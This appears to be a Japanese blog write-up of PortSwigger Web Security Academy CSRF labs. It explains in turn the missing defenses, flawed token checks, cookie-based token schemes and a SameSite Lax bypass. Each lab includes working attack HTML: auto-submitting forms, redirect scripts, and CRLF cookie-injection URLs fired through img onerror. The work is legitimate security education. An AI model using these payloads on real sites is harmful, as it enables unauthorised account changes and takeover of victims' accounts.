PortSwigger - Cross-site request forgery (CSRF)

6 min readPortSwigger#Web#CSRF

CSRFとは

Webサイトにログイン済みのユーザーに、本人が意図していないリクエストを送信させ、そのユーザーの権限で処理を実行させる攻撃。

CSRFでは、ブラウザが対象サイトのセッションCookieなどの認証情報を自動的にリクエストへ付与する性質を悪用します。そのため、メールアドレス変更やパスワード変更などの重要な処理では、CSRFトークンやSameSite Cookieなどによる対策が必要です。

Progress
  • CSRF vulnerability with no defenses
  • CSRF where token validation depends on request method
  • CSRF where token validation depends on token being present
  • CSRF where token is not tied to user session
  • CSRF where token is tied to non-session cookie
  • CSRF where token is duplicated in cookie
  • SameSite Lax bypass via method override
  • SameSite Strict bypass via client-side redirect
  • SameSite Strict bypass via sibling domain
  • CSRF where Referer validation depends on header being present
  • CSRF with broken Referer validation

CSRF vulnerability with no defenses

CSRFトークンなどの対策が実装されておらず、メールアドレス変更リクエストはセッションCookieによる認証だけで処理されます。

そのため、攻撃者のサイトから自動送信したフォームに対してブラウザが対象サイトのセッションCookieを付与できる環境では、被害者の権限でメールアドレス変更が実行されます。

このLabでは、クロスサイトのPOSTリクエストでも必要な認証情報が送信される構成になっているため、単純な自動送信フォームだけでCSRFが成立します。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
</form>
<script>
  document.forms[0].submit();
</script>

CSRF where token validation depends on request method

CSRFトークンは設定されており、通常のPOSTリクエストではセッションとCSRFトークンの対応関係が検証されます。

しかし、サーバー側の実装不備により、GETリクエストではCSRFトークンの検証が行われません。さらに、メールアドレス変更処理自体がGETでも実行できるため、CSRFトークンを付与せずに状態変更を行えます。

つまり、CSRF対策が特定のHTTPメソッドにしか適用されていないことが脆弱性の原因です。

POST
email=test%40swigger.com&csrf=sGvviHZ3DgVFY6OGUwpt47tdErAxbKyC
GET /my-account/change-email?email=test%40swigger.com
<script>
	location = "https://web-security-academy.net/my-account/change-email?email=csrf%40swigger.com"
</script>

CSRF where token validation depends on token being present

CSRFトークンは設定されていますが、サーバー側の検証ロジックに不備があります。

csrf パラメータが存在する場合だけトークンを検証し、パラメータ自体が存在しない場合は検証をスキップして処理を続行します。

そのため、攻撃リクエストから csrf パラメータを完全に削除することで、CSRF対策を回避できます。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
	<input type="hidden" name="email" value="csrf@swigger.com">
</form>
<script>
  document.forms[0].submit();
</script>

CSRF where token is not tied to user session

CSRFトークンは毎回新しく生成されますが、特定のユーザーセッションに紐付けられていません。

そのため、攻撃者が自分のアカウントで取得した有効なCSRFトークンを、別ユーザーのリクエストでも使用できます。

トークン自体がランダムで推測困難でも、「そのトークンが誰のセッション用なのか」を検証していなければ、十分なCSRF対策にはなりません。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
  <input type="hidden" name="csrf" value="evF13erxPyCdiwaHxdHwJAi0h0guN9KV">
</form>
<script>
  document.forms[0].submit();
</script>

このLabでは、フォーム内の csrf トークンと、別の csrfKey Cookieを対応付けて検証しています。両者が正しい組み合わせでなければ、Invalid CSRF token となります。

したがって、フォーム側の csrf トークンだけを書き換えても攻撃は成立しません。攻撃者は、被害者ブラウザの csrfKey Cookieも、自分が取得したトークンと対応する値へ設定する必要があります。

ここで利用できるのが、検索機能に存在するCookie injectionの脆弱性です。検索文字列がレスポンスの Set-Cookie ヘッダーへ安全にエスケープされず反映されるため、CRLFを挿入して任意のCookieを追加できます。

Secure 属性が付いたCookieはHTTPS通信時のみ送信されます。HttpOnly 属性はJavaScriptの document.cookie などからCookieを読み取ることを防ぎます。SameSite=None はCookieをクロスサイトのリクエストでも送信可能にする指定で、通常は Secure 属性との併用が必要です。

/?search=test
Set-Cookie: LastSearchTerm=test; Secure; HttpOnly

↓

/?search=test%3b%0d%0aSet-Cookie:%20csrfKey=7b5hHUoUvasrQ2m4tj2So31c4bq3N95v%3b%20SameSite=None
Set-Cookie: LastSearchTerm=test;
Set-Cookie: csrfKey=7b5hHUoUvasrQ2m4tj2So31c4bq3N95v; SameSite=None; Secure;

被害者のCookieを変更するには、細工した /?search へ被害者ブラウザからリクエストを送らせます。

この例では img タグの src に脆弱な検索URLを指定しています。ブラウザは画像を取得するため対象URLへリクエストを送り、そのレスポンスに含まれる Set-Cookie によって csrfKey Cookieが攻撃者の指定した値へ設定されます。

レスポンスは有効な画像ではないため onerror が発火し、そのタイミングでCSRF用フォームを送信します。これにより、Cookie側とフォーム側のトークンを攻撃者が用意した正しい組み合わせに揃えられます。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
  <input type="hidden" name="csrf" value="d0CXBCTv66e9ANmHBYKCde1biQ0dRuHU">
</form>
<img src="https://web-security-academy.net/?search=test%3b%0d%0aSet-Cookie:%20csrfKey=7b5hHUoUvasrQ2m4tj2So31c4bq3N95v%3b%20SameSite=None" onerror="document.forms[0].submit()">

前のLabと似ていますが、こちらではサーバーがCSRFトークンを保存・対応付けしていません。

フォームパラメータの csrf とCookieの csrf を単純に比較し、両者の文字列が同じであれば有効と判断する実装になっています。これはDouble Submit Cookieパターンの不適切な実装例です。

攻撃者がCookie injectionなどを利用して被害者の csrf Cookieを任意の値へ設定できる場合、フォーム側にも同じ値を指定するだけでCSRF対策を突破できます。

<form action="https://web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="csrf@swigger.com">
  <input type="hidden" name="csrf" value="test01">
</form>
<img src="https://web-security-academy.net/?search=%3b%0d%0aSet-Cookie%3a+csrf%3dtest01%3b%20SameSite=None" onerror="document.forms[0].submit()">

SameSite Lax bypass via method override

SameSite=Lax のCookieは、通常のクロスサイトPOSTや iframe、img、fetch などのサブリソースリクエストでは送信が制限されます。一方、ユーザーを別ページへ遷移させるトップレベルナビゲーションで、安全とみなされるGETリクエストの場合は送信されます。

トップレベルナビゲーションとは、<a> のリンクや location / document.location などによって、ブラウザのメインページ自体が別URLへ移動することです。

このLabでは、サーバーが _method パラメータによるHTTPメソッドオーバーライドをサポートしています。そのため、ブラウザからはSameSite=LaxでCookieが送信されるトップレベルGETとしてリクエストしつつ、サーバー内部ではPOST相当の処理として扱わせることができます。

つまり、ブラウザが判断するHTTPメソッドと、アプリケーションが最終的に実行する処理の不一致を利用してSameSite=Laxの制限を回避します。

<script>
  document.location="https://web-security-academy.net/my-account/change-email?_method=POST&email=csrf%40swigger.com";
</script>